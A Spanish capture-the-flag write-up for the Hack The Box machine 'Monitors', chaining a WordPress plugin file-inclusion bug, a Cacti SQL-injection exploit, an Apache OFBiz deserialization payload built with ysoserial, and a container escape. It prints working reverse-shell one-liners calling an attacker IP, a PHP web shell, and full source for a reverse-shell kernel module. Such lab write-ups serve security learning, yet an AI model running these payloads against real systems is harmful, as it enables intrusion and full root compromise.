Monitors - HTB Writeup
Enumeración
Comenzamos enviando una paquete ICMP a la máquina con la herramienta ping
, con esto veremos su estado y su sistema operativo:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ ping -c 1 10.10.10.238
PING 10.10.10.238 (10.10.10.238) 56(84) bytes of data.
64 bytes from 10.10.10.238: icmp_seq=1 ttl=63 time=77.7 ms
--- 10.10.10.238 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 77.746/77.746/77.746/0.000 ms
Parámetro | Acción |
---|---|
-c 1 |
elegimos que solo queremos enviar 1 traza |
Se puede ver que la máquina está activa y que observando el TTL
, concluimos que es una máquina Linux.
Más información sobre la detección de OS mediante TTL aquí.
También puedes hacer uso de mi herramienta OSidentifier.
Nmap
Enumero los puertos de la máquina con ayuda de la herramienta nmap
:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ sudo nmap -p- --open -sS --min-rate 4000 -n 10.10.10.238 -sC -sV -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-11 12:45 WEST
Nmap scan report for 10.10.10.238
Host is up (0.079s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
| 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesnt have a title (text/html; charset=iso-8859-1).
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.90 seconds
Parámetro | Acción |
---|---|
-p- |
Es una forma de especificar que queremos escanear todos los puertos existentes, los 65535. |
--open |
Este parámetro hace que nos muestre únicamente los puertos abiertos, que nos omita los filtered. |
-sS |
Especificamos el tipo de escaneo ‘SYN port Scan’, que es más rápido y sigiloso que el tipo de escaneo por defecto. |
--min-rate [valor] |
Envía paquetes tan o más rápido que la tasa dada. |
-n |
Quitamos la resolución DNS para que el escaneo vaya más rápido. |
-sC |
Utiliza un escaneo con una serie de scripts por defecto de nmap. |
-sV |
Activa la detección de versiones. |
-oN [nombre de archivo] |
Exporta los resultados en formato normal, tal cual se ve en el escaneo. |
Vemos que hay 2 puertos abiertos:
Puerto | Servicio |
---|---|
22 | SSH |
80 | HTTP |
User.txt
Uso whatweb
para enumerar un poco el puerto 80
:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ whatweb http://10.10.10.238
http://10.10.10.238 [403 Forbidden] Apache[2.4.29], Country[RESERVED][ZZ], Email[admin@monitors.htb], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)]
IP[10.10.10.238]
Vale, obtenemos un código de estado 403
y nos reporta un email donde el dominio utilizado es monitors.htb
.
¿Se estará aplicando Virtual Hosting?
Pruebo a añadir el dominio al archivo /etc/hosts/
:
┌──[z3r0byte@z3r0byte]─[~]
└──╼ $ cat /etc/hosts
[...]
10.10.10.238 monitors.htb
[...]
Bien, probemos ahora a acceder a la web mediante la dirección IP:
Al intentar acceder, el servidor nos dice que el acceso a la web mediante la dirección IP no está permitido.
Ya que hemos añadido el dominio que hemos encontrado al /etc/hosts
probemos a acceder mediante este:
¡Funciona!
Ahora que podemos acceder a la página, usemos de nuevo la herramienta whatweb
:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ whatweb http://monitors.htb
http://monitors.htb [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)],
IP[10.10.10.238], JQuery, MetaGenerator[WordPress 5.5.1], Script[text/javascript], Title[Welcome to Monitor – Taking hardware monitoring seriously],
UncommonHeaders[link], WordPress[5.5.1]
Y por lo que podemos ver, estamos tratando ante un WordPress
.
Intento buscar vulnerabilidades de la versión de WordPress
que whatweb
nos ha reportado:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ searchsploit WordPress 5.5.1
--------------------------------------------------------------------------------------------------------------------------- ------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------- ------------------------------
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities | php/webapps/39553.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection | php/webapps/48918.sh
WordPress Plugin WatuPRO 5.5.1 - SQL Injection | php/webapps/42291.txt
--------------------------------------------------------------------------------------------------------------------------- ------------------------------
Pero no encuentro nada.
Algo potencial a enumerar en WordPress
son sus plugins
, en mi caso voy a utilizar WPscan
pero hay muchas maneras de enumerar esto:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ wpscan --url "http://monitors.htb" --enumerate p
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | _ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.17
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://monitors.htb/ [10.10.10.238]
[+] Started: Mon Oct 11 13:50:27 2021
Interesting Finding(s):
[...]
[i] Plugin(s) Identified:
[+] wp-with-spritz
| Location: http://monitors.htb/wp-content/plugins/wp-with-spritz/
| Latest Version: 1.0 (up to date)
| Last Updated: 2015-08-20T20:15:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 4.2.4 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://monitors.htb/wp-content/plugins/wp-with-spritz/readme.txt
[...]
La herramienta nos reporta un plugin que está siendo utilizado.
También nos identifica la versión, que es la 1.0
.
Tras ver esto, pruebo a buscar vulnerabilidades asociadas a esta versión del plugin:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ searchsploit spritz 1.0
-------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion | php/webapps/44544.php
-------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Al parecer hay una vulnerabilidad de RFI y por lo tanto LFI en este plugin.
Veamos en que consiste:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ cat 44544.php
# Exploit Title: WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion
# Date: 2018-04-25
# Exploit Author: Wadeek
# Software Link: https://downloads.wordpress.org/plugin/wp-with-spritz.zip
# Software Version: 1.0
# Google Dork: intitle:("Spritz Login Success") AND inurl:("wp-with-spritz/wp.spritz.login.success.html")
# Tested on: Apache2 with PHP 7 on Linux
# Category: webapps
1. Version Disclosure
/wp-content/plugins/wp-with-spritz/readme.txt
2. Source Code
if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);
3. Proof of Concept
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec
Si vemos la parte del PoC
nos daremos cuenta de como se produce el LFI.
Bien, sigamos el Proof of Concept
para ejecutar el LFI:
Tenemos capacidad para leer archivos de la máquina.
Ahora probemos el RFI creando un servidor en nuestra máquina que aloje una webshell
:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ cat zeroshell.php
gif8;
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ authbind python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Tras probar el RFI, me doy cuenta de que no se interpreta el codigo PHP, así que me centro en el LFI.
Pienso en archivos críticos que podamos leer y uno que se me viene a la cabeza es el wp-config.php
que suele contener credenciales.
Pero claro, no se en que ruta está, así que voy probando hasta que lo encuentro:
Y como suponía, este archivo contenía crendenciales en texto claro.
Pruebo estas credenciales en el panel de login wp-login.php
Pero no consigo acceder.
Sigo enumerando archivos críticos desde el LFI y pruebo a intentar enumerar dominios y subdominios que también esten empleando virtual hosting
en la máquina víctima.
Concretamente, esto se puede ver en el archivo /etc/apache2/sites-enabled/000-default.conf
.
Probemos a ver si funciona:
┌──[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../../../../../../etc/apache2/sites-enabled/000-default.conf"
# Default virtual host settings
# Add monitors.htb.conf
# Add cacti-admin.monitors.htb.conf
[...]
Como vemos, ha funcionado y parece ser que hemos encontrado un subdominio con nombre cacti-admin
.
Lo incorporo en el /etc/hosts
y compruebo que existe:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ cat /etc/hosts
[...]
10.10.10.238 monitors.htb cacti-admin.monitors.htb
[...]
Tras intentar ingresar al subdominio, vemos que si existe.
Pruebo credenciales por defecto en el panel de login, cosas como admin:admin
, admin:password
, admin:pass
, pero no funciona ninguna.
Recuerdo la contraseña que habíamos encontrado en el archivo wp-config.php
mediante el LFI y pruebo a utilizarla con el usuario admin
:
¡Accedemos!
Tras indagar un buen rato entre las funciones de este software en busca de vías potenciales para conseguir acceso a la máquina, veo que se nos lista la versión en la esquina superior:
Versión 1.2.12
, intento buscar vulnerabilidades asociadas a esta versión con ayuda de la herramienta searchsploit
:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ searchsploit cacti 1.2.12
--------------------------------------------------------------------------------------------------------------------------- ----------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------- ----------------------------
Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution | php/webapps/49810.py
--------------------------------------------------------------------------------------------------------------------------- ----------------------------
Shellcodes: No Results
Papers: No Results
Y vemos que tenemos un exploit de ejecución remota de comandos.
Copio el exploit y lo ejecuto para ver lo que nos pide:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ python3 49810.py
usage: 49810.py [-h] -t <target/host URL> -u <user> -p <password> --lhost <lhost> --lport <lport>
49810.py: error: the following arguments are required: -t, -u, -p, --lhost, --lport
Vale, nos pide la url
de la víctima, usuario, contraseña, IP local y puerto, bien, proporcionemos estos datos, pero no si antes ponernos en escucha con netcat
:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ nc -lvnp 4444
Listening on 0.0.0.0 4444
Ahora ejecutemos el exploit:
¡Conseguimos acceso a la máquina!
Somos usuario www-data
asi que habrá que seguir enumerando para convertirnos en otro usuario con un poco más de privilegios.
www-data@monitors:/home$ grep -E 1[0-9]{3} /etc/passwd | sed s/:/\ / | awk '{print $1}'
marcus
En este caso, tenemos que buscar la forma de convertirnos en el usuario marcus
.
Enumero el sistema hasta que encuentro que hay un puerto interno en escucha poco común:
www-data@monitors:/home$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN
[...]
Pero tras ver que no podemos conectarnos por SSH para hacer port forwarding, sigo enumerando.
Me acuerdo de que nuestro objetivo era marcus
, asi procedí a enumerar archivos que fueran de su propiedad en busca de algo que fuese relevante:
www-data@monitors:/$ find / -user marcus 2>/dev/null | grep -v -E "proc|sys"
/run/user/1000
/home/marcus
/home/marcus/.backup
/home/marcus/.gnupg
/home/marcus/.bash_logout
/home/marcus/.profile
/home/marcus/.bashrc
/home/marcus/.cache
/dev/pts/1
Nada interesante.
Enumeremos ahora archivos que tengan en el nombre la palabra marcus
:
www-data@monitors:/$ find / -iname \*marcus\* 2>/dev/null
/home/marcus
Nada, con el nombre no hemos encontrado nada.
Probemos a buscar archivos que tengan en el nombre la palabra cacti
:
www-data@monitors:/$ find / -iname \*cacti\* 2>/dev/null
[...]
/etc/systemd/system/cacti-backup.service
/lib/systemd/system/cacti-backup.service
[...]
¿Y esto? ¿cacti-backup.service
? Inspeccionemos este archivo:
www-data@monitors:/$ cat /etc/systemd/system/cacti-backup.service
[Unit]
Description=Cacti Backup Service
After=network.target
[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh
[Install]
WantedBy=multi-user.target
Este archivo nos revela una ruta en el directorio home
de marcus
, que aparentemente estaba oculta.
Veamos que contiene este archivo:
www-data@monitors:/$ cat /home/marcus/.backup/backup.sh
#!/bin/bash
backup_name="cacti_backup"
config_pass="VerticalEdge2020"
zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip
Un archivo con credenciales en texto claro.
Tras observar que este archivo estaba en el directorio personal de marcus
, pruebo a conectarme por SSH con el usuario marcus
y la contraseña que he encontrado:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ ssh marcus@10.10.10.238
marcus@10.10.10.238 password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Oct 12 16:26:21 UTC 2021
System load: 0.0 Users logged in: 1
Usage of /: 35.1% of 17.59GB IP address for ens160: 10.10.10.238
Memory usage: 54% IP address for docker0: 172.17.0.1
Swap usage: 0% IP address for br-968a1c1855aa: 172.18.0.1
Processes: 189
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
128 packages can be updated.
97 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Oct 12 16:26:21 2021 from 10.10.14.173
marcus@monitors:~$
¡Ha funcionado!, hemos conseguido acceder a la máquina como usuario marcus
.
Una vez hayamos alcanzado este punto, podremos ver la flag user.txt
en la ruta /home/marcus/user.txt
:
marcus@monitors:~$ cat /home/marcus/user.txt
1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX4
Root.txt
En el directorio home
de marcus
también había una nota:
marcus@monitors:~$ cat note.txt
TODO:
Disable phpinfo in php.ini - DONE
Update docker image for production use -
Intento sacar la máxima información de la nota haciendo suposiciones:
- Es un archivo TODO, es decir, de cosas a hacer.
- Habla de una imagen de docker, ¿puede que haya contenedores en la máquina?
- Dice que tiene que actualizar la imagen para usarla en producción, ¿La imagen contendrá algo peligroso como para no ponerla en producción?
Después de hacer estas suposiciones, me acuerdo de que había un puerto interno abierto poco común.
Veamoslo de nuevo:
marcus@monitors:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN
[...]
Ahora que podemos conectarnos por SSH, probemos a hacer un port forwarding para poder tener conectividad a este puerto 8443
desde mi máquina y así poder trabajar más cómodamente.
┌──[z3r0byte@z3r0byte]─[~]
└──╼ $ ssh marcus@10.10.10.238 -L 8443:127.0.0.1:8443
marcus@10.10.10.238 password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Oct 12 16:45:55 UTC 2021
System load: 0.08 Users logged in: 0
Usage of /: 34.9% of 17.59GB IP address for ens160: 10.10.10.238
Memory usage: 39% IP address for docker0: 172.17.0.1
Swap usage: 0% IP address for br-968a1c1855aa: 172.18.0.1
Processes: 178
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
128 packages can be updated.
97 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Last login: Mon Sep 27 10:03:41 2021 from 10.10.14.19
marcus@monitors:~$
Se supone que ya tenemos conectividad con el puerto 8443
de la máquina víctima en nuestra máquina, comprobemoslo:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $curl 127.0.0.1:8443
Bad Request
This combination of host and port requires TLS.
Parece que si está funcionando pero el servidor nos avisa de que se requiere del protocolo HTTPS
o TLS over HTTP
Probemos, entonces, a hacer otra petición pero esta vez con HTTPS
:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ curl -k -s https://127.0.0.1:8443 | html2text
****** HTTP Status 404 â Not Found ******
===============================================================================
Type Status Report
Message Not found
Description The origin server did not find a current representation for the
target resource or is not willing to disclose that one exists.
===============================================================================
**** Apache Tomcat/9.0.31 ****
Y ahora si funciona, pero como podemos ver, el servidor nos responde con un código de estado 404 Not Found
Ya que estamos tramitando peticiones con el protocolo HTTPS
pruebo a enumerar el certificado SSL de la web para obtener detalles:
┌──[z3r0byte@z3r0byte]─[~]
└──╼ $ curl --insecure -s -v https://127.0.0.1:8443 2>&1 | grep "\*"
* Trying 127.0.0.1:8443...
* Connected to 127.0.0.1 (127.0.0.1) port 8443 (#0)
[...]
* subject: C=US; ST=DE; L=Wilmington; O=Apache Software Fundation; OU=Apache OFBiz; CN=ofbiz-vm.apache.org; emailAddress=dev@ofbiz.apache.org
* start date: May 30 08:43:19 2014 GMT
* expire date: May 27 08:43:19 2024 GMT
* issuer: C=US; ST=DE; L=Wilmington; O=Apache Software Fundation; OU=Apache OFBiz; CN=ofbiz-vm.apache.org; emailAddress=dev@ofbiz.apache.org
* SSL certificate verify result: self signed certificate (18), continuing anyway.
> Accept: */*
* Mark bundle as not supporting multiuse
* Connection #0 to host 127.0.0.1 left intact
Vemos que se repite varias veces la palabra OFbiz
.
Trato de ver los detalles del certificado SSL desde el navegador para más comodidad:
Concluimos que se esta utilizando una versión o variante de Apache con nombre Apache OFbiz
Pruebo a fuzzear
directorios y recursos para ver si encontramos algo, esto con ayuda de la herramienta gobuster
:
┌─[✗]─[z3r0byte@z3r0byte]─[~]
└──╼ $wfuzz -c --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt https://127.0.0.1:8443/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://127.0.0.1:8443/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 302 0 L 0 W 0 Ch "images"
000000061: 302 0 L 0 W 0 Ch "content"
000000138: 302 0 L 0 W 0 Ch "common"
000000228: 302 0 L 0 W 0 Ch "catalog"
000000550: 302 0 L 0 W 0 Ch "marketing"
000000765: 302 0 L 0 W 0 Ch "ecommerce"
000000906: 302 0 L 0 W 0 Ch "ap"
Vemos varios recursos con un código de estado 3XX, es decir, una redirección.
Accedamos a cualquiera de estos para ver a donde nos redirige, por ejemplo al directorio ap
:
Parece un panel de inicio de sesión, pero si tenemos ojo, habremos visto algo más interesante:
Una versión, esto es muy valioso ya que ahora podremos buscar vulnerabilidades asociadas.
Busco vulnerabilidades de esta versión en Internet
:
Busco por el identificador CVE que hemos encontrado y encuentro un repositorio de GitHub donde muestran un PoC
de esta vulnerabilidad:
Bien, sigamos los pasos y… ¡explotemos esto!
1º Paso · Crea una reverse shell en bash
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ cat rev.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
2º Paso · Monta un servidor en python3 para que la reverse shell sea visible via HTTP
┌──[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ authbind python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
3º Paso · Descarga la herramienta YsoSerial, que sirve para explotar deserializaciones inseguras.
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ wget https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.ja
Longitud: 59524721 (57M) [application/java-archive]
Grabando a: «ysoserial-master-d367e379d9-1.jar»
ysoserial-master-d367 100%[=========================>] 56,77M 11,4MB/s en 5,1s
La cabecera de fecha de última modificación es inválida -- marca de tiempo descartada.
2021-10-12 22:56:13 (11,1 MB/s) - «ysoserial-master-d367e379d9-1.jar» guardado [59524721/59524721]
4º Paso · Genera un payload con YsoSerial y copia el output - recuerda cambiar la IP
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget 10.10.14.139/rev.sh -O /tmp/shell.sh" | base64 | tr -d "\n"
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZT [...]
(Esto genera una cadena de texto muy larga)
5º Paso · Tramita una petición con curl conteniendo nuestro payload
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">AQUI_PON_TU_PAYLOAD</serializable></value></member></struct></value></param></params></methodCall>' -k -H 'Content-Type:application/xml'
6º Paso · Asegurate de que has recibido una petición en tu servidor de python3
┌──[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $authbind python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.238 - - [12/Oct/2021 23:10:44] "GET /rev.sh HTTP/1.1" 200 -
Si no has recibido esta petición en tu servidor de python, vuelve a intentar tramitar la petición con curl
o comprueba que has introducido el payload en el sitio correcto.
7º Paso · Ponte en escucha con netcat por el puerto que configuraste en la reverse shell
┌──[z3r0byte@z3r0byte]─[~]
└──╼ $ nc -lvnp 4444
Listening on 0.0.0.0 4444
8º Paso · Crea otro payload par ejecutar la reverse shell que previamente cargamos en el sistema
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"
rO0ABXNyABdqYXZhLnV0aWwuUHJpb [...]
9º Paso · Envía otra petición con curl para ejecutar nuestro payload
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">AQUI_PON_TU_PAYLOAD_PARA_EJECUTAR_LA_REVERSE_SHELL</serializable></value></member></struct></value></param></params></methodCall>' -k -H 'Content-Type:application/xml'
10º Paso · Comprueba tu listener y disfruta de la reverse shell
┌─[✗]─[z3r0byte@z3r0byte]─[~]
└──╼ $ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.238 48950
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@586273933ab3:/usr/src/apache-ofbiz-17.12.01#
¡Hemos ganado acceso al sistema!, y enumerando el sistema me encuentro con que estamos en un contenedor de docker
:
root@586273933ab3:/# ls -a / | grep '^\.'
.
..
.dockerenv
Al ver esto, pienso que está claro que hay que escapar de este contenedor.
Tras investigar en una gran variedad de recursos sobre como escapar de un entorno de docker
, encuentro un artículo interesante:
Como vemos, tenemos varios métodos para escalar privilegios y escapar de un docker
, pero tras probar unas cuantas maneras, llego a las capabilities
.
Si nos fijamos, en el artículo aparece la manera de listar las capabilities de un contenedor de docker
:
Bien, ejecutemos este comando en el contenedor para ver que nos reporta:
root@1569c10115cc:/usr/src/apache-ofbiz-17.12.01# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
Además, en el recurso que encontramos, nos explican como explotar ciertas capablities
si estas estan habilitadas en el contenedor:
Analizando las capablilities
que estan habilitadas en el contenedor y comparandolas con las que aparecen en el artículo, me doy cuenta de que está habilitada la CAP_SYS_MODULE.
En el recurso se expone lo siguiente:
Se nos dice que si esta capability
está habilitada, podremos crear un modulo de kernel
que ejecute una reverse shell para poder acceder al sistema que sostiene el contenedor.
Bien, para hacer esto es muy sencillo.
Primero, creemos un directorio de trabajo temporal para trabajar más cómodamente:
root@1569c10115cc:~# cd `mktemp -d`
root@1569c10115cc:/tmp/tmp.aKlQEwETu0#
Bien, ahora copiemos este código y creemos un archivo. Recuerda cambiar la IP:
root@1569c10115cc:/tmp/tmp.aKlQEwETu0# cat reverse.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("AAAAA");
MODULE_AUTHOR("AAAAAAAAAAAAAAAAAA");
MODULE_DESCRIPTION("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.50/4445 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Vale, ahora tendremos que crear un archivo con nombre Makefile
con el siguiente contenido:
obj-m +=reverse.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
El carácter en blanco antes de cada palabra ‘make’ en el Makefile debe ser una tabulación, ¡no espacios!
Ya una vez tengamos estos archivos creados en el mismo directorio, utilizaremos el comando make
para compilar el modulo:
root@1569c10115cc:/tmp/tmp.aKlQEwETu0# ls -la
total 20
drwx------ 2 root root 4096 Oct 16 10:46 .
drwxrwxrwt 1 root root 4096 Oct 16 10:18 ..
-rw-r--r-- 1 root root 156 Oct 16 10:45 Makefile
-rw-r--r-- 1 root root 736 Oct 16 10:36 reverse.c
root@1569c10115cc:/tmp/tmp.aKlQEwETu0# make
make -C /lib/modules/4.15.0-151-generic/build M=/tmp/tmp.aKlQEwETu0 modules
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-151-generic'
CC [M] /tmp/tmp.aKlQEwETu0/reverse.o
Building modules, stage 2.
MODPOST 1 modules
CC /tmp/tmp.aKlQEwETu0/reverse.mod.o
LD [M] /tmp/tmp.aKlQEwETu0/reverse.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-151-generic'
Ya hemos compilado el modulo.
Ahora nos pondremos en escucha por el puerto que hayamos especificado en el modulo de kernel
:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ nc -lvnp 4445
Listening on 0.0.0.0 4445
Y ejecutaremos este comando en el contenedor de docker
:
root@1569c10115cc:/tmp/tmp.aKlQEwETu0# insmod reverse.ko
Si hemos hecho todo bien, deberíamos de haber recibido una shell
como usuario root
en la máquina vìctima:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.10.238 40678
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@monitors:/# whoami
whoami
root
Una vez en este punto, ya podremos visualizar la flag root.txt
en la ruta /root/root.txt
:
root@monitors:/# cat /root/root.txt
0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXd
Conclusión
En esta máquina hemos abusado de un LFI
a través de un plugin vulnerable de WordPress para leer archivos críticos y descubrir mas subdominios.
Para acceder a la máquina como usuario www-data
explotamos una versión vulnerable del software Cacti
.
Además, nos aprovechamos de una vulnerabilidad de Insecure Deserialization
en un servidor web que se ejecutaba internamente en la máquina para acceder a un contenedor de docker
.
Por último conseguimos escapar del contenedor y acceder a la máquina víctima como usuario root
con ayuda de una capability
que estaba habilitada en el contenedor que nos permitía crear un modulo de kernel
malicioso.